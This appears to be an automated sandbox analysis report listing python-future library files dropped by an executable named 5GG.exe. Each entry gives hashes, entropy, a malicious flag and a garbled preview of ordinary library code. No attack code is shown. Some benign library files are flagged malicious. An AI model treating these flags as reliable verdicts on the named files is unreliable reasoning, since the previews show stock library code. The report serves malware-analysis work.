Preview:	o.........e.........................@...sf...d.Z.d.d.l.m.Z...e.d...d.e.d...d.e.d...d.i.Z.e.d...d.e.d...d.e.d...d.e.d...d.e.d...d.i.Z.d.d.d...Z.d.S.).z..General functions for HTML manipulation, backported from Py3...Note that this uses Python 2.7 code with the corresponding Python 3.module names and locations.......)...unicode_literals..&z.&..<z.<..>z.>.."z."..'z.'Tc....................C...s*...t.\|.t...r.J.d.....\|.r.\|...t...S.\|...t...S.).z.. Replace special characters "&", "<" and ">" to HTML-safe sequences.. If the optional flag quote is true (the default), the quotation mark. characters, both double quote (") and single quote (') characters are also. translated.. z.Pass a unicode string)...isinstance..bytes..translate.._escape_map_full.._escape_map)...s..quote..r.....a...F:\python\1 .......\Cheat Checker\venv\Lib\site-packages\future/backports/html/__init__.py..escape....s............r....N).T)...__doc__..__future__r......ordr....r....r....r.

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\future\backports\html\pycache\entities.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	144664
Entropy (8bit):	4.5899152056870305
Encrypted:	false
SSDEEP:	3072:qCtaFsIv/ZGasBAPYQ/jn5BmGyc6+ae4Gc4caM6eQ:OxkxAJLfmGyc6+ae4Gc4caM6eQ
MD5:	CFD65BF61ACFAC032E50E27BC4794610
SHA1:	8B3B7623C1BE91E8B51C829138E3A8889A73265C
SHA-256:	83A623E670364D7E1F6A4282973B8D5D0C2B873F905CE04118D988B897BF6FB7
SHA-512:	7D0CC08F9BAD3BAEDD84AEE0DD14792A598260403D9B02A5190DCBF6BBD16C594624D9C89549AAE3A5B34A25E3BFBB5ED5E587C57DEE205293ABE54ED6F4CC9B
Malicious:	false
Preview:	o.........e.&.......................@...s.`..d.Z.d.d.l.m.Z.m.Z.m.Z.m.Z...d.d.l.T.i.d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d d!..d"d#..d$d%..i.d&d'..d(d)..d*d+..d,d-..d.d/..d0d1..d2d3..d4d5..d6d7..d8d9..d:d;..d<d=..d>d?..d@dA..dBdC..dDdE..dFdG....i.dHdI..dJdK..dLdM..dNdO..dPdQ..dRdS..dTdU..dVdW..dXdY..dZd[..d\d]..d^d_..d`da..dbdc..ddde..dfdg..dhdi....i.djdk..dldm..dndo..dpdq..drds..dtdu..dvdw..dxdy..dzd{..d\|d}..d~d...d.d...d.d...d.d...d.d...d.d...d.d.....i.d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d.....i.d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d..d.d..d.d..d.d..d.d..d.d..d.d....i.d.d..d.d..d.d..d.d..d.d..d.d..d.d..d.d..d.d..d.d..d.d..d.d..d.d..d.d..d.d..d.d..d.d....i.d.d..d.d...d.d...d.d...d.d...d.d...d.d.....d...d.....d...d.....d...d.....d...d.....d...d.....d...d.....d...d.....d...d.....d...d.....d...d.....i...d...d.....d...d.....d...d...

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\future\backports\html\pycache\parser.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	13560
Entropy (8bit):	5.532236302386054
Encrypted:	false
SSDEEP:	384:BSfWU3tBIeeW4U6zI8LKQkRZCjuCq4ghfreAdc:BKWU3tGePh0I8LhkRZSuCWfreh
MD5:	FFD394CAFDBE7480143BA48B33C7063D
SHA1:	057862E5BFBD642500344A11F23430C968D5E215
SHA-256:	DC970DF22E8CADA421244C6DC47044E74364B2C278D52F27DDB461791DF5B30B
SHA-512:	3F82CD02D3FB27A541E50D3F83F836E67E40AD7CDD72BFC80BC4EE8AAC09696E30F80DFD6ED5FF77384A6DC2B6C9F9632BE47DD3BA314377A26BF5F6FB4B6525
Malicious:	false
Preview:	o.........e:M.......................@...s....d.Z.d.d.l.m.Z.m.Z.m.Z.m.Z...d.d.l.T.d.d.l.m.Z...d.d.l.Z.d.d.l.Z.e...d...Z.e...d...Z.e...d...Z.e...d...Z.e...d...Z.e...d...Z.e...d...Z.e...d...Z.e...d...Z.e...d...Z.e...d...Z.e...d.e.j...Z.e...d.e.j...Z.e...d...Z.e...d...Z.G.d.d...d.e...Z.G.d.d...d.e.j...Z.d.S.).zLA parser for HTML and XHTML...Backported for python-future from Python 3.3.......)...absolute_import..division..print_function..unicode_literals)...)..._markupbaseNz.[&<]z.&[a-zA-Z#]z%&([a-zA-Z][-.a-zA-Z0-9])[^a-zA-Z0-9]z)&#(?:[0-9]+\|[xX][0-9a-fA-F]+)[^0-9a-fA-F]z.<[a-zA-Z]..>z.--\s>z(([a-zA-Z][-.a-zA-Z0-9:_])(?:\s\|/(?!>))z.[a-zA-Z][^.... />.]zJ\s([a-zA-Z_][-.:a-zA-Z_0-9])(\s=\s(\'[^\']\'\|"[^"]"\|[^\s"\'=<>`]))?z]((?<=[\'"\s/])[^\s/>][^\s/=>])(\s=+\s(\'[^\']\'\|"[^"]"\|(?![\'"])[^>\s]))?(?:\s\|/(?!>))a..... <[a-zA-Z][-.a-zA-Z0-9:_]* # tag name. (?:\s+ # whitespace before attribute name. (?:[a-zA-Z_][-.:a-zA-Z0-9_]* # att

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\future\backports\html\entities.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	75428
Entropy (8bit):	4.759758580912289
Encrypted:	false
SSDEEP:	768:w49Lkwxh5KI7jtycA2aCXncXfDlhtLmdK3GH+Ra2gNF:w49Lkwxh5KI7jDaccXfDlHmdK28aVNF
MD5:	E39B20E384B099393FF5B704C917DE18
SHA1:	91337F6B0E04FB5B1AF49215A1CCE4B14A3CCE89
SHA-256:	933A119D0C8693FDC3828B9C1CB84BE502F5A6094AF67BE6C613C81991434E77
SHA-512:	F166B6F29CEA85AB2B79A786441CC49D4BD0682BF00703BFD7228637767B465F9C2CDA6B617774272E7E1857B945BBEF4D1EA5D0BAFDF61E0874889FE9C87F7A
Malicious:	false
Preview:	"""HTML character entity references...Backported for python-future from Python 3.3."""..from __future__ import (absolute_import, division,. print_function, unicode_literals).from future.builtins import *...# maps the HTML entity name to the Unicode codepoint.name2codepoint = {. 'AElig': 0x00c6, # latin capital letter AE = latin capital ligature AE, U+00C6 ISOlat1. 'Aacute': 0x00c1, # latin capital letter A with acute, U+00C1 ISOlat1. 'Acirc': 0x00c2, # latin capital letter A with circumflex, U+00C2 ISOlat1. 'Agrave': 0x00c0, # latin capital letter A with grave = latin capital letter A grave, U+00C0 ISOlat1. 'Alpha': 0x0391, # greek capital letter alpha, U+0391. 'Aring': 0x00c5, # latin capital letter A with ring above = latin capital letter A ring, U+00C5 ISOlat1. 'Atilde': 0x00c3, # latin capital letter A with tilde, U+00C3 ISOlat1. 'Auml': 0x00c4, # latin capital letter A with diaeresis, U+00C4 ISOlat1. 'Beta':

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\future\backports\html\parser.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	19770
Entropy (8bit):	4.263917100229409
Encrypted:	false
SSDEEP:	384:/7N7hLhje6ITUP9IbMWUUYNhbVOBDWbEeKXLY:/7N7h1jWT0IbMGYsDW74E
MD5:	44F82B979EAB3471EF9A1DCAD740CEBC
SHA1:	01C04589A29AAE2CDE4152498A6E4A3C89D93842
SHA-256:	1B6B5439BBDB1D2A2D36DD3A24B63E04FD6CC1A64D7C360577F10D5838CF9918
SHA-512:	8FAF30DD6173BCAAD84A415F029BBC9660DCA2BF49CBDA3A3B43F0EC26E239257B0C36DE1A31B1E277320099244B0D1375785199E105AB20D544CC756AAE303B
Malicious:	false
Preview:	"""A parser for HTML and XHTML...Backported for python-future from Python 3.3.."""..# This file is based on sgmllib.py, but the API is slightly different...# XXX There should be a way to distinguish between PCDATA (parsed.# character data -- the normal case), RCDATA (replaceable character.# data -- only char and entity references and end tags are special).# and CDATA (character data -- only end tags are special)...from __future__ import (absolute_import, division,. print_function, unicode_literals).from future.builtins import .from future.backports import _markupbase.import re.import warnings..# Regular expressions used for parsing..interesting_normal = re.compile('[&<]').incomplete = re.compile('&[a-zA-Z#]')..entityref = re.compile('&([a-zA-Z][-.a-zA-Z0-9])[^a-zA-Z0-9]').charref = re.compile('&#(?:[0-9]+\|[xX][0-9a-fA-F]+)[^0-9a-fA-F]')..starttagopen = re.compile('<[a-zA-Z]').piclose = re.compile('>').commentclose = re.compile(r'--\s*>').tagfind = re.compile('(

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\future\backports\http\pycache\init.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	193
Entropy (8bit):	4.791765896562454
Encrypted:	false
SSDEEP:	3:y/nnUlluleh/wZWRkB52NKGaESzu5E8AGvOWdVWrzdd5gKNv4RRkcTgp:y/U/qeh/wckBMDHSC5EgTdAr3+g4RD4
MD5:	6CCA213974AD80636AD80CF382CBA116
SHA1:	DA372FB7B1C3E8B3A85C65FC86D0876076EC1750
SHA-256:	82ABD722E8DAF455E591168C2E2650AD983436D23003641AE810CBD834659169
SHA-512:	84C13A3FB23E797CF0EFB783C666063DC0BD7CD69127C8CF8D210BB6041EA0B94EEAD49E645E0076AA00D4233D7B1704F82FAE5DEC4B129386F08A658DE6AB5E
Malicious:	false
Preview:	o.........e.........................@...s....d.S.).N..r....r....r.....a...F:\python\1 .......\Cheat Checker\venv\Lib\site-packages\future/backports/http/__init__.py..<module>....s......

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\future\backports\http\pycache\client.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	30753
Entropy (8bit):	5.519867418141465
Encrypted:	false
SSDEEP:	768:d6FRG3LGgQM/NWqsLCN+ld5rfZ0J9HAHo:duRG3agvNpCA9yo
MD5:	FA15238CC282AE2C2151D2843C607D77
SHA1:	A5223C5E333731C8E7A0E2ADADBDCA57DD8FE1D9
SHA-256:	FFB40224BA0BE83CE9896EE4B24CC1386A54A4B0820CB1C2E64B5490BAD70AFF
SHA-512:	EA6258E7F610FED9FBD564572FC40E5126563C519D6B53216C4E576022D1535D117A7F6CD30695C04777632817C54CC6AA3D59D7F52E646916D24383B2805212
Malicious:	false
Preview:	o.........e........................@...s....d.Z.d.d.l.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.Z.d.d.l.m.Z...e.rWd.d.l.m.Z...n.d.d.l.m.Z...g.d...Z.d.Z d.Z!d.Z"d.Z#d.Z$d.Z%d.Z&d.Z'd.Z(d.Z)d.Zd.Z+d.Z,d.Z-d.Z.d.Z/d.Z0d.Z1d.Z2d Z3d!Z4d"Z5d#Z6d$Z7d%Z8d&Z9d'Z:d(Z;d)Z<dZ=d+Z>d,Z?d-Z@d.ZAd/ZBd0ZCd1ZDd2ZEd3ZFd4ZGd5ZHd6ZId7ZJd8ZKd9ZLd:ZMd;ZNd<ZOd=ZPd>ZQd?ZRd@ZSdAZTdBZUdCZVdDZWdEZXdFZYdGZZi.d.dH..d.dI..d.dJ..d.dK..d.dL..d.dM..d.dN..d.dO..d.dP..d.dQ..d dR..d!dS..d"dT..d#dU..d$dV..dWdX..d%dY..i.d&dZ..d'd[..d(d\..d)d]..d*d^..d+d_..d,d`..d-da..d.db..d/dc..d0dd..d1de..d2df..d3dg..d4dh..d5di..d6dj....dkdldmdndodpdqdrdsdtdudv....Z[dwZ\dxZ]d.Z^G.dydz..dze.j_..Z`e`f.d{d\|..Zaeb..ZcG.d}d~..d~e.jd..ZeG.d.d...d.eb..Zfz.d.d.lgZgd.d.lgmhZh..W.n...ei..y.......Y.n.w.G.d.d...d.ef..Zje..kd.....G.d.d...d.el..ZmG.d.d...d.em..ZnG.d.d...d.em..ZoG.d.d...d.em..ZpG.d.d...d.em..ZqG.d.d...d.em..ZrG.d.d...d.em..ZsG.d.d...d.em..ZtG.

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\future\backports\http\pycache\cookiejar.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	53676
Entropy (8bit):	5.560781905578493
Encrypted:	false
SSDEEP:	768:rXuFyARGoJB0wM1qVyXKukU9xPT4hopOivMnfkDQU+fQvv+UsElSqiBqykvpWn3R:eyn1pXTkU9xPswOnqSORjfom4h
MD5:	6300E1CCBC7B28CC6366DC030C67384E
SHA1:	733C55C12DE2D6122CBD422D9BC902EDE1D006B3
SHA-256:	65A917A3A96DD8B9A40088814AA1525AC7949B0A68A389B3D4A2AB6672E36312
SHA-512:	7B3DA7645073A9D799851DE3A101072F1B95D04C37D5577F2BB5BD056361E9C824976B423A8E6B32581075C61845A087E78E0EA2DBDBB0093CE11E3F8AE1204E
Malicious:	false
Preview:	o.........e?+.......................@...sl...d.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z.m.Z...g.d...Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.e.rEd.e._.d.d.l.Z.d.d.l.m.Z.m.Z.m.Z...d.d.l.m.Z...z.d.d.l.Z.W.n...e.yl......d.d.l.Z.Y.n.w.d.d.l.m Z ..d.Z!d.a"d.d...Z#e.e...Z$d.Z%d.d...Z&d.Z'd.d...Z(g.d...Z)g.d...Zg.Z+eD.].Z,e+.-e,........q.dmd.d...Z/dmd.d...Z0d.d.d.d.d...Z1e..2d.e.j...Z3d.d...Z4d d!..Z5e..2d"e.j...Z6e..2d#e.j7e.j.B...Z8e..2d$e.j9e.j.B...Z:d%d&..Z;e..2d'e.j9e.j.B...Z<d(d)..Z=d*d+..Z>e..2d,..Z?e..2d-..Z@e..2d...ZAe..2d/..ZBd0d1..ZCe..2d2..ZDd3d4..ZEd5d6..ZFd7d8..ZGe..2d9e.j...ZHd:d;..ZId<d=..ZJd>d?..ZKd@dA..ZLe..2dBe.j...ZMdCdD..ZNdEdF..ZOdGdH..ZPdIdJ..ZQdKZRe..2dL..ZSdMdN..ZTdOdP..ZUdQdR..ZVdSdT..ZWG.dUdV..dVeX..ZYG.dWdX..dXeX..ZZG.dYdZ..dZeZ..Z[d[d\..Z\d]d^..Z]G.d_d`..d`eX..Z^G.dadb..dbeX..Z_G.dcdd..dde`..ZaG.dedf..dfe_..Zbdgdh..ZcG.didj..djeb..ZdG.dkdl..dleb..Zed.S.)na....HTTP cookie handling for web clients...This is a backport of the Py3.3

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\future\backports\http\pycache\cookies.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	17814
Entropy (8bit):	5.871394080618373
Encrypted:	false
SSDEEP:	384:bSybWznpfLofPwoRax5z77Ggo8ScvW5Q7mfcLDsn5:uybW1fGaLX7GgmuWi7mfcLDsn5
MD5:	A5460716BEC15F69354F821098CC31B6
SHA1:	672A7A50D7F48BC0F0AE49960CA1491437CE3C7C
SHA-256:	A7A8BF14E48A0AB942897F771C575B8D138966F3155370A291212CE5BEFDF5ED
SHA-512:	4648010ED2F26AC11E8F22BB1564DE198666430B60185F013B50A41EE833F6562FC69331BC7EE2880FC5398639D0EA49571BD710361A1068EC9CFBCE8F2F714B
Malicious:	false
Preview:	o.........eMT.......................@...s....d.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z.m.Z...d.d.l.Z.e.r7d.e._.d.d.l.Z.g.d...Z.d.j.Z.d.j.Z.d.j.Z.G.d.d...d.e...Z.e.j.e.j...d...Z.i.d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d d!..d"d#..d$d%..d&d'..d(d)..d*d+..d,d-..d.d/..d0d1..i.d2d3..d4d5..d6d7..d8d9..d:d;..d<d=..d>d?..d@dA..dBdC..dDdE..dFdG..dHdI..dJdK..dLdM..dNdO..dPdQ..dRdS....i.dTdU..dVdW..dXdY..dZd[..d\d]..d^d_..d`da..dbdc..ddde..dfdg..dhdi..djdk..dldm..dndo..dpdq..drds..dtdu....i.dvdw..dxdy..dzd{..d\|d}..d~d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d.....i.d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d.....i.d.d...d.d...d.d...d.d...d.d..d.d..d.d..d.d..d.d..d.d..d.d..d.d..d.d..d.d..d.d..d.d..d.d....i.d.d..d.d..d.d..d.d..d.d..d.d..d.d..d.d..d.d..d.d..d.d..d.d..d.d...d.d...d.d...d.d...d.d.....i.d.d.....d...d.....d...d.....d...d...

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\future\backports\http\pycache\server.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	34811
Entropy (8bit):	5.656751676923526
Encrypted:	false
SSDEEP:	768:kFoqm1vmEXqox76a3Hn5d2zU2VSqdgjaGkG+xyd18B1LBeu:kFoqm1OOXLP251GkGmV
MD5:	24F078006E75DFC2CAF34A0C905AF041
SHA1:	72E760180B4441DE90E6E9FFD1D6C8423780D3FF
SHA-256:	A8C3968CB1519B43DEEA1D1AB986A63A5A64D5F3534D6D2492F007E9C08FEF20
SHA-512:	6DCBBFCCA53BC6A88201A38EB839D145974DAB111D3E07DB890AF2A131305C6B832C310219BD9F7C3183ACE7685476C8C674C64B4CDA54E8B92473E25889CDEB
Malicious:	false
Preview:	o.........e........................@...s....d.Z.d.d.l.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z...d.d.l.T.d.Z.d.d.g.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.Z.d.Z d.d...Z!G.d.d...d.e.j"..Z#G.d.d...d.e.j$..Z%G.d.d...d.e%..Z&d.d...Z'd.a(d.d...Z)d.d...ZG.d.d...d.e&..Z+e%e#d.d.f.d.d ..Z,e-d!k.r.e.....Z/e/j0d"d#d$d%....e/j0d&d'd.e1d(d)d....e/.2..Z3e3j4r.e,e+e3j5d+....d.S.e,e&e3j5d+....d.S.d.S.),aQ...HTTP server classes...From Python 3.3..Note: BaseHTTPRequestHandler doesn't implement any HTTP request; see.SimpleHTTPRequestHandler for simple implementations of GET, HEAD and POST,.and CGIHTTPRequestHandler for CGI scripts...It does, however, optionally implement HTTP/1.1 persistent connections,.as of version 0.3...Notes on CGIHTTPRequestHandler.------------------------------..This class implements GET and POST requests to cgi-bin scripts...If the os.fork() function is not present (e.g. on Windows),.subpro

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\future\backports\http\client.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	47602
Entropy (8bit):	4.454856579518526
Encrypted:	false
SSDEEP:	768:CG3A1g1L7iMvCD+bvr9lqBJREabE+dMBasMmGcU08wE3PuUJzq:CG3egU2m+7r9lqBJvn0asMmGFmUJq
MD5:	95C53309F4DF9F5C59034CB98F64E92C
SHA1:	7AA1066C252ABBC0B30C8853E9FC28D4793C67D6
SHA-256:	EFA11B84464EB6F74715C53E8EB8E2BE87DFD77A10F4831B76464475FE644334
SHA-512:	7135AD694FE888906BFE181D097EE2D8B287962AE290BDAB72F7AB44C08D0AB48B5072BE2D6D0D495D9BB4F14E3F98EE52F7E849690CFB69329A92D0D8D5461E
Malicious:	false
Preview:	"""HTTP/1.1 client library..A backport of the Python 3.3 http/client.py module for python-future...<intro stuff goes here>.<other stuff, too>..HTTPConnection goes through a number of "states", which define when a client.may legally make another request or fetch the response for a particular.request. This diagram details these state transitions:.. (null). \|. \| HTTPConnection(). v. Idle. \|. \| putrequest(). v. Request-started. \|. \| ( putheader() )* endheaders(). v. Request-sent. \|. \| response = getresponse(). v. Unread-response [Response-headers-read]. \|\____________________. \| \|. \| response.read() \| putrequest(). v v. Idle Req-started-unread-response. ______/\|. / \|. response.read() \| \| ( putheader() )* endheaders(). v v. Request-started Req-

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\future\backports\http\cookiejar.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	76607
Entropy (8bit):	4.395730922707988
Encrypted:	false
SSDEEP:	1536:aOX5YMn1LL3XT3av3mXOHoLg9JiDqkLbVJVn:xJHzO3Le2UWknVDn
MD5:	F36997914514A9A631743DCD2057D56C
SHA1:	963C77CE77DBF5F0A26EEFA6E33056689555BB22
SHA-256:	A0C97185A679FB186DF8A671DEAC99E60ECBAD94E9A7E239EEC089EEA50B76B7
SHA-512:	90F5C24CB9CFF66FBB5747FCD21F38B3D1C1C241FE56EDF082866608B8534E87DDEFB5EF9B85EFFA15447E53488458BAAEA65F66B550B1262552E089590A6675
Malicious:	true
Preview:	r"""HTTP cookie handling for web clients...This is a backport of the Py3.3 ``http.cookiejar`` module for.python-future...This module has (now fairly distant) origins in Gisle Aas' Perl module.HTTP::Cookies, from the libwww-perl library...Docstrings, comments and debug strings in this code refer to the.attributes of the HTTP cookie system as cookie-attributes, to distinguish.them clearly from Python attributes...Class diagram (note that BSDDBCookieJar and the MSIE* classes are not.distributed with the Python standard library, but are available from.http://wwwsearch.sf.net/):.. CookieJar____. / \ \. FileCookieJar \ \. / \| \ \ \. MozillaCookieJar \| LWPCookieJar \ \. \| \| \. \| ---MSIEBase \| \. \| / \| \| \. \| / MSIEDBCookieJar BSDDBCookieJar. \|/.

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\future\backports\http\cookies.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	21581
Entropy (8bit):	4.844869829316224
Encrypted:	false
SSDEEP:	384:G4d3PNEI0yIYscorHx9j77fISKLgA0ahtwSnqXFLfGTVO8IisjeU:G4d3PGRp7G0cYXFLfGKiWeU
MD5:	38A9064CBFD75083D6F4936263454317
SHA1:	51186132E3E6F331593BE44DE189D8B31A5A9434
SHA-256:	0ECC835060C46C25C003D26AEACBACC1273BEAE499A94BB7F5A7430CD8FC5C6C
SHA-512:	50E3799553CBB63B1B9FEA4AF3551FB5EFF9A43714B36A40458B40F4B1FD51CD2D33A5C9B0C9CB25FEE28315740EBEC117486620F3406DED5E1B4194D7E5A991
Malicious:	false
Preview:	####.# Copyright 2000 by Timothy O'Malley <timo@alum.mit.edu>.#.# All Rights Reserved.#.# Permission to use, copy, modify, and distribute this software.# and its documentation for any purpose and without fee is hereby.# granted, provided that the above copyright notice appear in all.# copies and that both that copyright notice and this permission.# notice appear in supporting documentation, and that the name of.# Timothy O'Malley not be used in advertising or publicity.# pertaining to distribution of the software without specific, written.# prior permission..#.# Timothy O'Malley DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS.# SOFTWARE, INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY.# AND FITNESS, IN NO EVENT SHALL Timothy O'Malley BE LIABLE FOR.# ANY SPECIAL, INDIRECT OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES.# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,.# WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS.# ACTION, ARISING OUT OF OR IN CONNECT

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\future\backports\http\server.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	45523
Entropy (8bit):	4.5507564902473705
Encrypted:	false
SSDEEP:	768:EopjYJ1vmEyIeM6L1Bkd4GmTQsBm54zeQzN2CakNBnnGZEZXpXlSqe/:EopjYJ1Olb1LTk2GDGmoeQMCTLnnGZEa
MD5:	47D0A3708581661019A424A93865C55E
SHA1:	A98767BD60695CD801163BB37AA85665CD94B68D
SHA-256:	D4268CC60CC77FD9588664C9C84EEDA298234489489FD7278E0C3C604BF0255E
SHA-512:	94F6ADE78FD9336E8D5DE97856969F002E13966729DB7C836F5712F410AEE207C3BF90DC310B4A1BAF29F40F3FC8D9832836BF527BACCC40F547DAF01874BD30
Malicious:	false
Preview:	"""HTTP server classes...From Python 3.3..Note: BaseHTTPRequestHandler doesn't implement any HTTP request; see.SimpleHTTPRequestHandler for simple implementations of GET, HEAD and POST,.and CGIHTTPRequestHandler for CGI scripts...It does, however, optionally implement HTTP/1.1 persistent connections,.as of version 0.3...Notes on CGIHTTPRequestHandler.------------------------------..This class implements GET and POST requests to cgi-bin scripts...If the os.fork() function is not present (e.g. on Windows),.subprocess.Popen() is used as a fallback, with slightly altered semantics...In all cases, the implementation is intentionally naive -- all.requests are executed synchronously...SECURITY WARNING: DON'T USE THIS CODE UNLESS YOU ARE INSIDE A FIREWALL.-- it may execute arbitrary Python code or external programs...Note that status code 200 is sent prior to execution of a CGI script, so.scripts cannot send other status codes such as 302 (redirect)...XXX To do:..- log requests even later (to

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\future\backports\misc.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	33063
Entropy (8bit):	4.496697694513859
Encrypted:	false
SSDEEP:	768:p3GggxbeSDRBPou+eQlcIpi1FCbGmT2SN4r4QbvTyvlOKv+J5mNG:p3Gg0aSDRBPoqIpiLCbGmRN4EQMx+Lm8
MD5:	F1AC03AC832E546CEA646B37201A65AC
SHA1:	85B30712535E75FCFCEE059E566C523557AC9A33
SHA-256:	1069C2551994FBFEF1AF3B2CD6BAAA0AAC2A950572C1A3C0C712E880178DA70E
SHA-512:	97C3342E0B06B71129A41378300A6E9F399D61AA4AF860F30A75BE75A0FCB3E7506CB9E9DC9C98D4DCF569E867A0668A9D3652A6CB0402B0A2FCBE52B1B8F9BD
Malicious:	true
Preview:	""".Miscellaneous function (re)definitions from the Py3.4+ standard library.for Python 2.6/2.7...- math.ceil (for Python 2.7).- collections.OrderedDict (for Python 2.6).- collections.Counter (for Python 2.6).- collections.ChainMap (for all versions prior to Python 3.3).- itertools.count (for Python 2.6, with step parameter).- subprocess.check_output (for Python 2.6).- reprlib.recursive_repr (for Python 2.6+).- functools.cmp_to_key (for Python 2.6)."""..from __future__ import absolute_import..import subprocess.from math import ceil as oldceil..from operator import itemgetter as _itemgetter, eq as _eq.import sys.import heapq as _heapq.from _weakref import proxy as _proxy.from itertools import repeat as _repeat, chain as _chain, starmap as _starmap.from socket import getaddrinfo, SOCK_STREAM, error, socket..from future.utils import iteritems, itervalues, PY2, PY26, PY3..if PY2:. from collections import Mapping, MutableMapping.else:. from coll

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\future\backports\socket.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	15663
Entropy (8bit):	4.56746865441988
Encrypted:	false
SSDEEP:	192:mRxxTspQUFiZDdyxD2Nh7YD0a7OyrsdAPlV3MhqM06XLt0zksB0aW1dXsXJn:Ib0QUFkAxD2N5c7rsqPllMLt0zrO16Jn
MD5:	F4FB676FBBA845E4D5FFECFE68F2CC8C
SHA1:	F02725E52CCE904663E87A28AC6F0BAAEA409310
SHA-256:	0C7D55E888CA3E9274B659FC6D8BF1BD0EEA9EF646F94A10B4C039C9595E1E25
SHA-512:	EADDE38878722A253A49521AAF858881F82874B479EC9CA6AACDC1AF3B8AF46DAE8A2BFCECDF146AFAFCBD3C9771F2DC7414D55680BD9D60F4A9CDCE0C7FE2F9
Malicious:	false
Preview:	# Wrapper module for _socket, providing some additional facilities.# implemented in Python..."""\.This module provides socket operations and some related functions..On Unix, it supports IP (Internet Protocol) and Unix domain sockets..On other systems, it only supports IP. Functions specific for a.socket are available as methods of the socket object...Functions:..socket() -- create a new socket object.socketpair() -- create a pair of new socket objects [].fromfd() -- create a socket object from an open file descriptor [].fromshare() -- create a socket object from data received from socket.share() [*].gethostname() -- return the current hostname.gethostbyname() -- map a hostname to its IP number.gethostbyaddr() -- map an IP number or hostname to DNS info.getservbyname() -- map a service name and a protocol name to a port number.getprotobyname() -- map a protocol name (e.g. 'tcp') to a number.ntohs(), ntohl() -- convert 16, 32 bit int from network to host byte order.htons(), htonl() --

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\future\backports\socketserver.py

Download File

